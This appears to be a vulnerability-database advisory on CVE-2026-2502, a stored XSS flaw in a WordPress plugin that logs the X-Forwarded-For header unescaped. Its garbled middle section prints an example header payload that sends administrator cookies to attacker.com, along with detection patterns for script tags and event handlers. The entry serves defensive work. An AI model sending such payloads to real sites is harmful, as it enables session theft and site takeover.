
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-2502 is a Stored Cross-Site Scripting (XSS) vulnerability in the "xmlrpc attacks blocker" plugin for WordPress, affecting all versions up to and including 1.0. The flaw allows unauthenticated attackers to inject arbitrary web scripts via a malicious X-Forwarded-For HTTP header, which the plugin logs without sanitization; the injected script executes when an administrator views the debug log page. It was published on February 19, 2026, and carries a CVSS v3.1 base score of 6.1 (Medium) (Red Hat CVE).
The root cause is improper neutralization of input during web page generation (CWE-79). The plugin blindly trusts and logs the attacker-controlled X-Forwarded-For HTTP header as an IP address, then renders those log entries on the admin debug log page without applying output escaping. This two-stage attack — write malicious data via an unauthenticated HTTP request, then trigger execution when a privileged user views the log — is a classic stored XSS pattern requiring no authentication and low attack complexity (Red Hat CVE).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an authenticated administrator's browser session. This can lead to session token theft, unauthorized administrative actions (e.g., creating rogue admin accounts, installing malicious plugins), and potential full site compromise. Confidentiality and integrity are both impacted at a low-to-moderate level, while availability is not directly affected (Red Hat CVE).
No public exploit code or active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.07%, indicating a low near-term probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the attack requires no authentication and minimal complexity, making it straightforward to exploit once an administrator views the debug log (Red Hat CVE).
/wp-content/plugins/xmlrpc-attacks-blocker/) or HTTP response headers.xmlrpc.php or any endpoint monitored by the plugin) with a forged X-Forwarded-For header containing an XSS payload, such as:X-Forwarded-For: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>X-Forwarded-For header (e.g., <script>, %3Cscript%3E, javascript:).X-Forwarded-For values that include script tags or event handler attributes (e.g., onerror=, onload=).Users should update the "xmlrpc attacks blocker" plugin to a version beyond 1.0 that addresses this vulnerability, once a patched release is available from the plugin author. As an interim workaround, administrators should avoid viewing the plugin's debug log page until the plugin is updated or replaced. Disabling or uninstalling the plugin entirely eliminates the attack surface. Additionally, deploying a Web Application Firewall (WAF) rule to strip or sanitize X-Forwarded-For headers at the perimeter can reduce risk (Red Hat CVE).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."